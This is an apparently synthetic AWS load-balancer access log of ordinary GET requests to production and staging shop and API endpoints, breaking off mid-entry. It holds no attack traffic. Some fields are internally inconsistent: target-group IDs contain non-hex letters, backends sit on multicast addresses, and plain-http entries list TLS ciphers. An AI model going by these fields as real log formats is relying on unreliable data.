"-" -https 2024-11-01T01:31:29.800777Z prod-api-alb 90.160.243.25:44419 10.0.91.11:443 0.086270 0.007163 0.074648 301 301 363 7118 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd01-064233a53dc54129b6348c10" "prod-api-alb.example.com" "-" 10 2024-11-01T01:31:29.800777Z "forward" "-" "-" "10.0.91.11:443" "301" "-" "-" -http 2024-11-01T01:31:30.368856Z staging-alb 143.60.36.11:61826 228.249.177.128:80 0.139375 0.716518 0.105075 404 404 611 1385 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd02-05cb19cb80ee4913a1247147" "staging-alb.example.com" "-" 0 2024-11-01T01:31:30.368856Z "forward" "-" "-" "228.249.177.128:80" "404" "-" "-" -https 2024-11-01T01:31:31.724601Z prod-web-alb 222.244.255.89:12822 10.0.52.188:443 0.034648 0.305378 0.091891 200 200 467 11905 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd03-96909ca7660544d1be0d4a4c" "prod-web-alb.example.com" "-" 5 2024-11-01T01:31:31.724601Z "forward" "-" "-" "10.0.52.188:443" "200" "-" "-" -https 2024-11-01T01:31:33.190140Z staging-alb 144.152.197.66:44642 155.177.188.155:80 0.087695 0.435132 0.066221 200 200 376 10973 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd05-b1ed96e756b34d3396a5870b" "staging-alb.example.com" "-" 5 2024-11-01T01:31:33.190140Z "forward" "-" "-" "155.177.188.155:80" "200" "-" "-" -http 2024-11-01T01:31:33.314389Z staging-alb 192.100.217.158:35031 80.8.81.100:8080 0.070797 0.334071 0.072956 200 200 343 506 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd05-25ad2169400641eda23ee9cf" "staging-alb.example.com" "-" 7 2024-11-01T01:31:33.314389Z "forward" "-" "-" "80.8.81.100:8080" "200" "-" "-" -https 2024-11-01T01:31:33.988448Z staging-alb 120.217.32.132:48453 89.158.205.8:80 0.140543 0.101391 0.047066 301 301 686 4862 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd05-0387a5e8e51a40fd9b98636c" "staging-alb.example.com" "-" 4 2024-11-01T01:31:33.988448Z "forward" "-" "-" "89.158.205.8:80" "301" "-" "-" -https 2024-11-01T01:31:34.270064Z prod-web-alb 203.194.28.248:35088 10.0.229.187:443 0.009135 0.372469 0.086065 200 200 353 266 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd06-439b543f723b4e1b9cb7b5fb" "prod-web-alb.example.com" "-" 4 2024-11-01T01:31:34.270064Z "forward" "-" "-" "10.0.229.187:443" "200" "-" "-" -https 2024-11-01T01:31:35.406720Z prod-web-alb 33.142.246.84:43786 10.0.232.164:443 0.078564 0.214653 0.057026 404 404 689 319 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd07-876505f572cb470f836605ea" "prod-web-alb.example.com" "-" 4 2024-11-01T01:31:35.406720Z "forward" "-" "-" "10.0.232.164:443" "404" "-" "-" -https 2024-11-01T01:31:37.275795Z prod-web-alb 230.46.165.116:24911 10.0.34.215:443 0.036704 0.384172 0.030406 301 301 159 10905 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd09-bbf4a4f77d3a44afb03ed3d2" "prod-web-alb.example.com" "-" 6 2024-11-01T01:31:37.275795Z "forward" "-" "-" "10.0.34.215:443" "301" "-" "-" -http 2024-11-01T01:31:37.897995Z staging-alb 201.165.136.42:42590 4.11.5.165:80 0.145013 0.288322 0.072298 200 200 988 4194 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd09-5fc29de6744249cd9fdf41a0" "staging-alb.example.com" "-" 4 2024-11-01T01:31:37.897995Z "forward" "-" "-" "4.11.5.165:80" "200" "-" "-" -http 2024-11-01T01:31:38.969515Z staging-alb 181.230.208.83:46693 224.191.146.125:443 0.019659 0.352927 0.051098 302 302 390 1982 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd0a-0c6ca071f5cb48f4956775dd" "staging-alb.example.com" "-" 6 2024-11-01T01:31:38.969515Z "forward" "-" "-" "224.191.146.125:443" "302" "-" "-" -https 2024-11-01T01:31:39.151683Z prod-web-alb 85.249.207.97:21770 10.0.7.38:443 0.010983 0.087540 0.009495 200 200 903 11788 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd0b-ef2a0a227b104e8f8b9c5ec3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:31:39.151683Z "forward" "-" "-" "10.0.7.38:443" "200" "-" "-" -http 2024-11-01T01:31:41.077310Z staging-alb 60.106.90.80:53486 143.201.121.184:443 0.058482 0.399101 0.138897 200 200 566 10663 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd0d-d1f00b21b9f44d848bffd064" "staging-alb.example.com" "-" 1 2024-11-01T01:31:41.077310Z "forward" "-" "-" "143.201.121.184:443" "200" "-" "-" -https 2024-11-01T01:31:41.589856Z prod-api-alb 226.149.127.128:28969 10.0.70.15:443 0.031458 0.259323 0.068828 404 404 99 14623 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd0d-82092f4ab414483c9b9391ff" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:41.589856Z "forward" "-" "-" "10.0.70.15:443" "404" "-" "-" -https 2024-11-01T01:31:43.080078Z prod-web-alb 158.163.234.111:15944 10.0.252.136:443 0.013448 0.337740 0.014196 302 302 138 1746 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd0f-f6ca08937b1743b19705e113" "prod-web-alb.example.com" "-" 5 2024-11-01T01:31:43.080078Z "forward" "-" "-" "10.0.252.136:443" "302" "-" "-" -https 2024-11-01T01:31:44.492443Z prod-api-alb 231.100.67.88:40528 10.0.90.145:443 0.075112 0.483035 0.012926 404 404 801 6257 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd10-5b5491bba89b4eb39b99e8d9" "prod-api-alb.example.com" "-" 7 2024-11-01T01:31:44.492443Z "forward" "-" "-" "10.0.90.145:443" "404" "-" "-" -https 2024-11-01T01:31:45.862829Z prod-web-alb 70.196.91.215:51774 10.0.185.63:443 0.042354 0.096776 0.058000 200 200 813 9547 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd11-4096f7e764994bf180c94012" "prod-web-alb.example.com" "-" 5 2024-11-01T01:31:45.862829Z "forward" "-" "-" "10.0.185.63:443" "200" "-" "-" -https 2024-11-01T01:31:46.732941Z prod-api-alb 123.237.196.163:46946 10.0.210.44:443 0.031575 0.075104 0.038152 200 200 883 10467 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd12-3aff1f8d3a064769a172bdde" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:46.732941Z "forward" "-" "-" "10.0.210.44:443" "200" "-" "-" -http 2024-11-01T01:31:48.240508Z staging-alb 214.87.24.28:37196 233.229.18.70:80 0.100077 0.281880 0.055553 200 200 615 12023 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd14-2ae6efd5aa29439d9c771c07" "staging-alb.example.com" "-" 8 2024-11-01T01:31:48.240508Z "forward" "-" "-" "233.229.18.70:80" "200" "-" "-" -https 2024-11-01T01:31:48.423613Z prod-web-alb 124.115.36.19:15620 10.0.231.88:443 0.048234 0.360402 0.013711 200 200 124 7417 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd14-0184f4ad5c1a45b783bb0240" "prod-web-alb.example.com" "-" 8 2024-11-01T01:31:48.423613Z "forward" "-" "-" "10.0.231.88:443" "200" "-" "-" -http 2024-11-01T01:31:50.347346Z staging-alb 254.131.205.28:56221 9.109.166.38:8080 0.068858 0.562764 0.148213 200 200 499 2146 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd16-20f9fb55e9e24529bd8d7406" "staging-alb.example.com" "-" 9 2024-11-01T01:31:50.347346Z "forward" "-" "-" "9.109.166.38:8080" "200" "-" "-" -https 2024-11-01T01:31:51.471885Z staging-alb 9.166.87.128:60762 187.139.158.219:80 0.018918 0.387999 0.068192 302 302 657 7172 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd17-5274e7760efa4014b8533864" "staging-alb.example.com" "-" 3 2024-11-01T01:31:51.471885Z "forward" "-" "-" "187.139.158.219:80" "302" "-" "-" -https 2024-11-01T01:31:53.286938Z prod-web-alb 105.150.169.26:12986 10.0.147.89:443 0.062004 0.441744 0.016294 404 404 97 8030 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd19-31164108ec8f4dbe9ef010bc" "prod-web-alb.example.com" "-" 2 2024-11-01T01:31:53.286938Z "forward" "-" "-" "10.0.147.89:443" "404" "-" "-" -https 2024-11-01T01:31:55.196321Z prod-web-alb 93.46.200.145:36255 10.0.45.238:443 0.046107 0.160227 0.017111 200 200 581 8225 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1b-8874a1bd8125436d8ac7d70a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:31:55.196321Z "forward" "-" "-" "10.0.45.238:443" "200" "-" "-" -https 2024-11-01T01:31:55.614121Z prod-web-alb 149.125.221.32:27599 10.0.37.23:443 0.072432 0.035303 0.085738 301 301 111 8114 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd1b-3340aedc14684de78923994c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:31:55.614121Z "forward" "-" "-" "10.0.37.23:443" "301" "-" "-" -https 2024-11-01T01:31:57.448894Z prod-web-alb 46.176.251.57:57172 10.0.196.123:443 0.063794 0.135332 0.006455 200 200 1000 2067 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd1d-00d1c91abc6b402d83d30514" "prod-web-alb.example.com" "-" 10 2024-11-01T01:31:57.448894Z "forward" "-" "-" "10.0.196.123:443" "200" "-" "-" -https 2024-11-01T01:31:57.991577Z prod-web-alb 231.199.108.152:51161 10.0.130.64:443 0.054268 0.291088 0.046661 200 200 511 8368 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1d-583fe90f04f6407cab1dfce0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:31:57.991577Z "forward" "-" "-" "10.0.130.64:443" "200" "-" "-" -https 2024-11-01T01:31:58.466606Z prod-web-alb 27.180.83.148:27184 10.0.121.123:443 0.015124 0.414221 0.092125 200 200 998 10468 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1e-a7953f20f6a24b04a1ddc7d6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:31:58.466606Z "forward" "-" "-" "10.0.121.123:443" "200" "-" "-" -https 2024-11-01T01:31:59.068477Z prod-web-alb 77.163.92.191:20206 10.0.231.37:443 0.009795 0.293037 0.002021 302 302 487 12203 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd1f-23c0b1c860b34e8c9b4dc987" "prod-web-alb.example.com" "-" 8 2024-11-01T01:31:59.068477Z "forward" "-" "-" "10.0.231.37:443" "302" "-" "-" -https 2024-11-01T01:31:59.521039Z prod-api-alb 8.43.165.60:64177 10.0.50.20:443 0.092896 0.258105 0.010149 404 404 926 13750 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd1f-a86eea5029e447f7af605ed2" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:59.521039Z "forward" "-" "-" "10.0.50.20:443" "404" "-" "-" -https 2024-11-01T01:32:00.324243Z prod-web-alb 153.186.106.144:33056 10.0.238.58:443 0.050986 0.046697 0.069882 301 301 560 5971 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd20-2d7eb33a47534fa4b23c70ba" "prod-web-alb.example.com" "-" 8 2024-11-01T01:32:00.324243Z "forward" "-" "-" "10.0.238.58:443" "301" "-" "-" -https 2024-11-01T01:32:01.775820Z prod-api-alb 242.240.41.222:43404 10.0.93.116:443 0.035765 0.038400 0.041124 302 302 896 4612 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd21-05756b8a494d4b81ad0ba5d6" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:01.775820Z "forward" "-" "-" "10.0.93.116:443" "302" "-" "-" -https 2024-11-01T01:32:01.883773Z prod-web-alb 86.72.145.170:42689 10.0.65.233:443 0.005603 0.458679 0.013670 200 200 341 1823 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd21-5d6590824299406fbc32b9f3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:32:01.883773Z "forward" "-" "-" "10.0.65.233:443" "200" "-" "-" -https 2024-11-01T01:32:02.997788Z staging-alb 235.217.12.67:16681 91.87.77.118:443 0.012958 0.048198 0.031885 302 302 377 14135 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd22-708216edffab4365b846810a" "staging-alb.example.com" "-" 7 2024-11-01T01:32:02.997788Z "forward" "-" "-" "91.87.77.118:443" "302" "-" "-" -https 2024-11-01T01:32:03.216869Z staging-alb 231.193.140.70:22607 21.89.67.50:443 0.109935 0.328046 0.114403 301 301 981 13400 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd23-a48ba3b674da4263998f7eb2" "staging-alb.example.com" "-" 1 2024-11-01T01:32:03.216869Z "forward" "-" "-" "21.89.67.50:443" "301" "-" "-" -https 2024-11-01T01:32:04.301066Z prod-api-alb 79.122.136.106:50159 10.0.5.238:443 0.093526 0.345913 0.055651 200 200 683 1957 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd24-29957515b82245da8eb12c2c" "prod-api-alb.example.com" "-" 10 2024-11-01T01:32:04.301066Z "forward" "-" "-" "10.0.5.238:443" "200" "-" "-" -https 2024-11-01T01:32:05.746631Z staging-alb 60.138.196.249:56105 181.0.230.182:8080 0.050098 0.569154 0.033999 200 200 397 1108 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd25-77c699277769444990686a54" "staging-alb.example.com" "-" 8 2024-11-01T01:32:05.746631Z "forward" "-" "-" "181.0.230.182:8080" "200" "-" "-" -https 2024-11-01T01:32:07.231450Z prod-web-alb 95.64.51.150:61250 10.0.138.83:443 0.058310 0.424621 0.046460 404 404 939 14499 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd27-07c0871d21a0435db90d2269" "prod-web-alb.example.com" "-" 6 2024-11-01T01:32:07.231450Z "forward" "-" "-" "10.0.138.83:443" "404" "-" "-" -https 2024-11-01T01:32:07.597872Z prod-web-alb 121.232.56.177:62816 10.0.189.71:443 0.009336 0.465671 0.048716 200 200 574 1548 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd27-800b6159e9724b69aab73331" "prod-web-alb.example.com" "-" 3 2024-11-01T01:32:07.597872Z "forward" "-" "-" "10.0.189.71:443" "200" "-" "-" -https 2024-11-01T01:32:09.148284Z prod-api-alb 171.170.215.96:44804 10.0.169.239:443 0.014406 0.017318 0.085846 200 200 41 6405 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd29-b0afb62389564ba58ed1df27" "prod-api-alb.example.com" "-" 10 2024-11-01T01:32:09.148284Z "forward" "-" "-" "10.0.169.239:443" "200" "-" "-" -https 2024-11-01T01:32:09.363648Z prod-api-alb 138.103.4.221:35777 10.0.104.82:443 0.074260 0.315268 0.011202 302 302 145 5294 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd29-3ca0a34631634d5c93d736e8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:32:09.363648Z "forward" "-" "-" "10.0.104.82:443" "302" "-" "-" -https 2024-11-01T01:32:10.698168Z prod-web-alb 130.196.115.224:52205 10.0.127.32:443 0.016247 0.363688 0.092426 404 404 398 620 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd2a-9f042ba036104ddb8d46b824" "prod-web-alb.example.com" "-" 5 2024-11-01T01:32:10.698168Z "forward" "-" "-" "10.0.127.32:443" "404" "-" "-" -https 2024-11-01T01:32:11.693420Z prod-web-alb 75.168.72.252:64314 10.0.15.252:443 0.006589 0.413249 0.077065 200 200 434 10416 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd2b-065c4cc02538466ca1de6fae" "prod-web-alb.example.com" "-" 10 2024-11-01T01:32:11.693420Z "forward" "-" "-" "10.0.15.252:443" "200" "-" "-" -http 2024-11-01T01:32:12.378996Z staging-alb 185.203.14.166:45067 156.222.177.10:80 0.083613 0.225783 0.036553 302 302 800 6056 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd2c-d6c218a135004ab5af032e7d" "staging-alb.example.com" "-" 7 2024-11-01T01:32:12.378996Z "forward" "-" "-" "156.222.177.10:80" "302" "-" "-" -https 2024-11-01T01:32:13.593883Z prod-web-alb 216.221.239.63:19736 10.0.245.26:443 0.098390 0.304285 0.052078 302 302 651 1825 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd2d-b65757f77a204733b5acbf1f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:32:13.593883Z "forward" "-" "-" "10.0.245.26:443" "302" "-" "-" -https 2024-11-01T01:32:14.136530Z prod-api-alb 57.106.238.230:49129 10.0.66.171:443 0.013426 0.422288 0.055526 200 200 154 9886 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd2e-e8329fa7e28546adbb78a182" "prod-api-alb.example.com" "-" 2 2024-11-01T01:32:14.136530Z "forward" "-" "-" "10.0.66.171:443" "200" "-" "-" -https 2024-11-01T01:32:14.687208Z staging-alb 127.135.226.43:45561 79.108.23.184:8080 0.019399 0.239906 0.038890 200 200 212 1755 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd2e-6fa8a4cec9d14f2b84f81938" "staging-alb.example.com" "-" 3 2024-11-01T01:32:14.687208Z "forward" "-" "-" "79.108.23.184:8080" "200" "-" "-" -https 2024-11-01T01:32:16.327823Z prod-api-alb 83.244.131.194:60345 10.0.173.101:443 0.099963 0.440957 0.095866 200 200 52 14871 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 